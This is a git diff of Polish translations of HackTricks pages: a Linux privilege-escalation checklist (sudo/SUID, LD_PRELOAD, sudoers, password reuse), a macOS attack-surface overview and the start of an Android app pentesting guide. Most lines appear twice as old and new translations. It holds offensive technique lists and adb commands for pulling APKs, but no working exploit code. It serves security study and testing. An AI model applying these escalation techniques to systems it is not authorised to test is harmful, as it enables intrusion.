* [ ] **Otwarte porty, do których nie mogłeś uzyskać dostępu przed** uzyskaniem powłoki wewnątrz maszyny?
* [ ] Czy możesz **podsłuchiwać ruch** używając `tcpdump`?
* [ ] **Otwarte porty, do których nie mogłeś uzyskać dostępu** przed uzyskaniem powłoki wewnątrz maszyny?
* [ ] Czy możesz **przechwytywać ruch** za pomocą `tcpdump`?
### [Użytkownicy](privilege-escalation/#users)
* [ ] Ogólna **enumeracja użytkowników/grup**
* [ ] Czy masz **bardzo duży UID**? Czy **maszyna** jest **podatna**?
* [ ] Czy możesz [**eskalować uprawnienia dzięki grupie**](privilege-escalation/interesting-groups-linux-pe/) do której należysz?
* [ ] Czy możesz [**eskalować uprawnienia dzięki grupie**](privilege-escalation/interesting-groups-linux-pe/), do której należysz?
* [ ] **Dane z schowka**?
* [ ] Polityka haseł?
* [ ] Spróbuj **użyć** każdego **znanego hasła**, które odkryłeś wcześniej, aby zalogować się **z każdym** możliwym **użytkownikiem**. Spróbuj również zalogować się bez hasła.
* [ ] Spróbuj **użyć** każdego **znanego hasła**, które wcześniej odkryłeś, aby zalogować się **z każdym** możliwym **użytkownikiem**. Spróbuj również zalogować się bez hasła.
### [Zapisywalny PATH](privilege-escalation/#writable-path-abuses)
* [ ] Jeśli masz **uprawnienia do zapisu w jakimś folderze w PATH**, możesz być w stanie eskalować uprawnienia
### [Komendy SUDO i SUID](privilege-escalation/#sudo-and-suid)
### [Polecenia SUDO i SUID](privilege-escalation/#sudo-and-suid)
* [ ] Czy możesz wykonać **jakąkolwiek komendę z sudo**? Czy możesz użyć tego do ODCZYTU, ZAPISU lub WYKONANIA czegokolwiek jako root? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] Czy możesz wykonać **jakiekolwiek polecenie z sudo**? Czy możesz użyć go do ODCZYTU, ZAPISU lub WYKONANIA czegokolwiek jako root? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] Czy jest jakiś **eksploatowalny plik binarny SUID**? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] Czy [**komendy sudo** są **ograniczone** przez **ścieżkę**? czy możesz **obejść** te ograniczenia](privilege-escalation/#sudo-execution-bypassing-paths)?
* [ ] Czy [**polecenia sudo** są **ograniczone** przez **ścieżkę**? czy możesz **obejść** te ograniczenia](privilege-escalation/#sudo-execution-bypassing-paths)?
* [ ] [**Sudo/SUID binarny bez wskazanej ścieżki**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
* [ ] [**SUID binarny z określoną ścieżką**](privilege-escalation/#suid-binary-with-command-path)? Obejście
* [ ] [**Vuln LD\_PRELOAD**](privilege-escalation/#ld\_preload)
* [ ] [**Brak biblioteki .so w binarnym SUID**](privilege-escalation/#suid-binary-so-injection) z zapisywalnego folderu?
* [ ] [**LD\_PRELOAD vuln**](privilege-escalation/#ld\_preload)
* [ ] [**Brak biblioteki .so w binarnym pliku SUID**](privilege-escalation/#suid-binary-so-injection) z zapisywalnego folderu?
* [ ] [**Dostępne tokeny SUDO**](privilege-escalation/#reusing-sudo-tokens)? [**Czy możesz stworzyć token SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
* [ ] Czy możesz [**czytać lub modyfikować pliki sudoers**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
* [ ] Czy możesz [**zmodyfikować /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)?
* [ ] [**Polecenie OpenBSD DOAS**](privilege-escalation/#doas)
* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) polecenie
### [Uprawnienia](privilege-escalation/#capabilities)
* [ ] Czy jakaś binarka ma jakąś **nieoczekiwaną zdolność**?
* [ ] Czy jakiś plik binarny ma jakąś **nieoczekiwaną zdolność**?
### [ACL](privilege-escalation/#acls)
@ -150,7 +150,7 @@ Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizac
* [ ] **Zmodyfikowane** w ostatnich minutach
* [ ] **Pliki bazy danych Sqlite**
* [ ] **Ukryte pliki**
* [ ] **Skrypty/Binarki w PATH**
* [ ] **Skrypty/Binary w PATH**
* [ ] **Pliki webowe** (hasła?)
* [ ] **Kopie zapasowe**?
* [ ] **Znane pliki, które zawierają hasła**: Użyj **Linpeas** i **LaZagne**
@ -158,25 +158,25 @@ Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizac
### [**Zapisywalne pliki**](privilege-escalation/#writable-files)
* [ ] **Modyfikuj bibliotekę Pythona** aby wykonywać dowolne komendy?
* [ ] Czy możesz **modyfikować pliki dziennika**? **Eksploit Logtotten**
* [ ] **Modyfikuj bibliotekę Pythona** w celu wykonania dowolnych poleceń?
* [ ] Czy możesz **modyfikować pliki dziennika**? **Logtotten** exploit
* [ ] Czy możesz **modyfikować /etc/sysconfig/network-scripts/**? Eksploit Centos/Redhat
* [ ] Czy możesz [**zapisać w plikach ini, int.d, systemd lub rc.d**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
### [**Inne triki**](privilege-escalation/#other-tricks)
### [**Inne sztuczki**](privilege-escalation/#other-tricks)
* [ ] Czy możesz [**wykorzystać NFS do eskalacji uprawnień**](privilege-escalation/#nfs-privilege-escalation)?
* [ ] Czy musisz [**uciec z restrykcyjnej powłoki**](privilege-escalation/#escaping-from-restricted-shells)?
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Wgląd w hacking**\
Zaangażuj się w treści, które zgłębiają emocje i wyzwania związane z hackingiem
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności o hackingu w czasie rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i spostrzeżeniom
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
**Najnowsze ogłoszenia**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
@ -193,7 +193,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>
{% endhint %}

View file

@ -10,23 +10,23 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Wgląd w Hacking**\
**Wgląd w hacking**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności Hackingowe w Czasie Rzeczywistym**\
**Aktualności o hackingu w czasie rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i spostrzeżeniom
**Najnowsze Ogłoszenia**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
**Najnowsze ogłoszenia**\
Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platformy
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
@ -64,7 +64,7 @@ Jeśli nie znasz macOS, powinieneś zacząć od nauki podstaw macOS:
[macos-protocols.md](macos-protocols.md)
{% endcontent-ref %}
* **Oprogramowanie otwarte** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
* **Oprogramowanie open source** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
* Aby pobrać `tar.gz`, zmień adres URL, na przykład [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) na [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
### MacOS MDM
@ -75,21 +75,21 @@ W firmach systemy **macOS** będą prawdopodobnie **zarządzane przez MDM**. Dla
[macos-mdm](../macos-red-teaming/macos-mdm/)
{% endcontent-ref %}
### MacOS - Inspekcja, Debugowanie i Fuzzing
### MacOS - Inspekcja, debugowanie i fuzzing
{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %}
[macos-apps-inspecting-debugging-and-fuzzing](macos-apps-inspecting-debugging-and-fuzzing/)
{% endcontent-ref %}
## Ochrony Bezpieczeństwa MacOS
## Ochrony bezpieczeństwa MacOS
{% content-ref url="macos-security-protections/" %}
[macos-security-protections](macos-security-protections/)
{% endcontent-ref %}
## Powierzchnia Ataku
## Powierzchnia ataku
### Uprawnienia Plików
### Uprawnienia plików
Jeśli **proces działający jako root zapisuje** plik, który może być kontrolowany przez użytkownika, użytkownik może to wykorzystać do **eskalacji uprawnień**.\
Może to wystąpić w następujących sytuacjach:
@ -107,7 +107,7 @@ W przypadku tego rodzaju luk nie zapomnij **sprawdzić podatnych instalatorów `
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
{% endcontent-ref %}
### Rozszerzenie Pliku i Obsługa Schematów URL
### Obsługa rozszerzeń plików i schematów URL
Dziwne aplikacje zarejestrowane przez rozszerzenia plików mogą być nadużywane, a różne aplikacje mogą być zarejestrowane do otwierania konkretnych protokołów
@ -115,19 +115,19 @@ Dziwne aplikacje zarejestrowane przez rozszerzenia plików mogą być nadużywan
[macos-file-extension-apps.md](macos-file-extension-apps.md)
{% endcontent-ref %}
## macOS TCC / SIP Eskalacja Uprawnień
## macOS TCC / SIP Eskalacja uprawnień
W macOS **aplikacje i pliki binarne mogą mieć uprawnienia** do dostępu do folderów lub ustawień, które czynią je bardziej uprzywilejowanymi niż inne.
Dlatego atakujący, który chce skutecznie skompromitować maszynę macOS, będzie musiał **eskalować swoje uprawnienia TCC** (lub nawet **obejść SIP**, w zależności od jego potrzeb).
Te uprawnienia są zazwyczaj nadawane w formie **uprawnień**, z którymi aplikacja jest podpisana, lub aplikacja może poprosić o pewne dostępy, a po **zatwierdzeniu ich przez użytkownika** mogą być one znalezione w **bazach danych TCC**. Innym sposobem, w jaki proces może uzyskać te uprawnienia, jest bycie **dzieckiem procesu** z tymi **uprawnieniami**, ponieważ są one zazwyczaj **dziedziczone**.
Te uprawnienia są zazwyczaj przyznawane w formie **uprawnień**, z którymi aplikacja jest podpisana, lub aplikacja może poprosić o pewne dostępy, a po **zatwierdzeniu ich przez użytkownika** mogą być one znalezione w **bazach danych TCC**. Innym sposobem, w jaki proces może uzyskać te uprawnienia, jest bycie **dzieckiem procesu** z tymi **uprawnieniami**, ponieważ są one zazwyczaj **dziedziczone**.
Śledź te linki, aby znaleźć różne sposoby [**eskalacji uprawnień w TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), aby [**obejść TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) i jak w przeszłości [**SIP został obejrzany**](macos-security-protections/macos-sip.md#sip-bypasses).
Śledź te linki, aby znaleźć różne sposoby [**eskalacji uprawnień w TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), aby [**obejść TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) i jak w przeszłości [**SIP został ominięty**](macos-security-protections/macos-sip.md#sip-bypasses).
## macOS Tradycyjna Eskalacja Uprawnień
## macOS Tradycyjna eskalacja uprawnień
Oczywiście z perspektywy zespołu czerwonego powinieneś być również zainteresowany eskalacją do roota. Sprawdź następujący post, aby uzyskać kilka wskazówek:
Oczywiście z perspektywy zespołu red, powinieneś być również zainteresowany eskalacją do roota. Sprawdź następujący post, aby uzyskać kilka wskazówek:
{% content-ref url="macos-privilege-escalation.md" %}
[macos-privilege-escalation.md](macos-privilege-escalation.md)
@ -145,18 +145,18 @@ Oczywiście z perspektywy zespołu czerwonego powinieneś być również zainter
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Wgląd w Hacking**\
**Wgląd w hacking**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności Hackingowe w Czasie Rzeczywistym**\
**Aktualności o hackingu w czasie rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i spostrzeżeniom
**Najnowsze Ogłoszenia**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
**Najnowsze ogłoszenia**\
Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platformy
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
@ -170,7 +170,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
{% endhint %}

View file

@ -1,12 +1,12 @@
# Android Applications Pentesting
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Wsparcie dla HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,22 +15,22 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Hacking Insights**\
**Wgląd w hacking**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Real-Time Hack News**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym
**Aktualności o hackingu w czasie rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
**Latest Announcements**\
**Najnowsze ogłoszenia**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
## Android Applications Basics
## Podstawy aplikacji Android
Zaleca się rozpoczęcie od przeczytania tej strony, aby poznać **najważniejsze elementy związane z bezpieczeństwem Androida oraz najbardziej niebezpieczne komponenty w aplikacji Android**:
@ -43,16 +43,16 @@ Zaleca się rozpoczęcie od przeczytania tej strony, aby poznać **najważniejsz
To główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem android (emulowanym lub fizycznym).\
**ADB** pozwala na kontrolowanie urządzeń zarówno przez **USB**, jak i **sieć** z komputera. To narzędzie umożliwia **kopiowanie** plików w obie strony, **instalację** i **odinstalację** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **odczytywanie** logów, wśród innych funkcji.
Zobacz poniższą listę [**komend ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb.
Zobacz poniższą listę [**poleceń ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb.
## Smali
Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze obfuskowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\
[**W tym samouczku** możesz **nauczyć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Dlatego **zawsze miej na uwadze tę możliwość**.
[**W tym samouczku** możesz **dowiedzieć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Zatem **zawsze miej na uwadze tę możliwość**.
## Inne interesujące triki
* [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
* [Fałszowanie swojej lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md)
* **Pobierz APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
* Wyodrębnij APK z urządzenia:
```bash
@ -64,7 +64,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
* Połącz wszystkie podziały i podstawowe pliki APK za pomocą [APKEditor](https://github.com/REAndroid/APKEditor):
* Połącz wszystkie podziały i podstawowe pliki apk za pomocą [APKEditor](https://github.com/REAndroid/APKEditor):
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -80,7 +80,7 @@ Proszę, [**przeczytaj tutaj, aby znaleźć informacje o różnych dostępnych d
### Szukanie interesujących informacji
Samo rzucenie okiem na **ciągi** APK pozwala na wyszukiwanie **haseł**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy** **api**, **szyfrowania**, **uuid bluetooth**, **tokenów** i wszystkiego, co może być interesujące... szukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi autoryzacyjnych (twardo zakodowane dane administratora w aplikacji).
Samo rzucenie okiem na **ciągi** APK pozwala na wyszukiwanie **haseł**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy** **api**, **szyfrowania**, **uuid bluetooth**, **tokenów** i wszystkiego, co może być interesujące... szukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi autoryzacyjnych (twardo zakodowane dane logowania administratora do aplikacji).
**Firebase**
@ -88,12 +88,12 @@ Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle
### Podstawowe zrozumienie aplikacji - Manifest.xml, strings.xml
**Badanie plików \_Manifest.xml**_\*\* i \*\*_**strings.xml**\_\*\* może ujawnić potencjalne luki w zabezpieczeniach\*\*. Pliki te można uzyskać za pomocą dekompilatorów lub przez zmianę rozszerzenia pliku APK na .zip, a następnie rozpakowanie go.
**Badanie plików \_Manifest.xml**_\*\* i \*\*_**strings.xml**\_\*\* aplikacji może ujawnić potencjalne luki w zabezpieczeniach\*\*. Pliki te można uzyskać za pomocą dekompilatorów lub przez zmianę rozszerzenia pliku APK na .zip, a następnie rozpakowanie go.
**Luki** zidentyfikowane w **Manifest.xml** obejmują:
* **Aplikacje debugowalne**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby uzyskać dalsze zrozumienie, jak wykorzystać aplikacje debugowalne, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania aplikacji debugowalnych na urządzeniu.
* **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy debugowanie USB jest włączone.
* **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy włączone jest debugowanie USB.
* **Bezpieczeństwo sieci**: Niestandardowe konfiguracje bezpieczeństwa sieci (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły bezpieczeństwa, takie jak przypinanie certyfikatów i ustawienia ruchu HTTP. Przykładem jest zezwolenie na ruch HTTP dla określonych domen.
* **Eksportowane aktywności i usługi**: Identyfikacja eksportowanych aktywności i usług w manifeście może uwydatnić komponenty, które mogą być nadużywane. Dalsza analiza podczas testów dynamicznych może ujawnić, jak wykorzystać te komponenty.
* **Dostawcy treści i FileProviders**: Ujawnieni dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona.
@ -104,7 +104,7 @@ Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze AP
### Tapjacking
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika, aby wchodził z nią w interakcję, podczas gdy przekazuje interakcję do aplikacji ofiary.\
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika, aby z nią interagował, podczas gdy przekazuje interakcję do aplikacji ofiary.\
W efekcie, **oślepia użytkownika, aby nie wiedział, że faktycznie wykonuje akcje w aplikacji ofiary**.
Więcej informacji znajdziesz w:
@ -115,7 +115,7 @@ Więcej informacji znajdziesz w:
### Przechwytywanie zadań
**Aktywność** z ustawionym **`launchMode`** na **`singleTask`** bez zdefiniowanego `taskAffinity` jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (więc użytkownik będzie wchodził w interakcję z **złośliwą aplikacją, myśląc, że używa prawdziwej**).
**Aktywność** z ustawionym **`launchMode`** na **`singleTask`** bez zdefiniowanego `taskAffinity` jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (więc użytkownik będzie interagował z **złośliwą aplikacją, myśląc, że używa prawdziwej**).
Więcej informacji w:
@ -127,12 +127,12 @@ Więcej informacji w:
**Przechowywanie wewnętrzne**
W Androidzie pliki **przechowywane** w **przechowywaniu wewnętrznym****zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **pozwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
W Androidzie pliki **przechowywane** w **przechowywaniu wewnętrznym****zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **zezwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
1. **Analiza statyczna:**
* **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **dokładnie sprawdzane**. Te tryby **mogą potencjalnie ujawniać** pliki dla **niezamierzonego lub nieautoryzowanego dostępu**.
* **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **starannie sprawdzane**. Te tryby **mogą potencjalnie ujawniać** pliki dla **niezamierzonego lub nieautoryzowanego dostępu**.
2. **Analiza dynamiczna:**
* **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. W szczególności **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoliłoby to **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików.
* **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. W szczególności **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić znaczące ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików.
**Przechowywanie zewnętrzne**
@ -145,8 +145,8 @@ Podczas pracy z plikami na **przechowywaniu zewnętrznym**, takim jak karty SD,
* Zewnętrzne przechowywanie może być usunięte lub dostępne przez każdą aplikację, co czyni je mniej bezpiecznym.
3. **Obsługa danych z zewnętrznego przechowywania**:
* Zawsze **przeprowadzaj walidację wejścia** na danych pobranych z zewnętrznego przechowywania. Jest to kluczowe, ponieważ dane pochodzą z nieznanego źródła.
* Przechowywanie plików wykonywalnych lub klas na zewnętrznym przechowywaniu do dynamicznego ładowania jest zdecydowanie odradzane.
* Jeśli Twoja aplikacja musi pobierać pliki wykonywalne z zewnętrznego przechowywania, upewnij się, że te pliki są **podpisane i weryfikowane kryptograficznie** przed ich dynamicznym załadowaniem. Ten krok jest kluczowy dla utrzymania integralności bezpieczeństwa Twojej aplikacji.
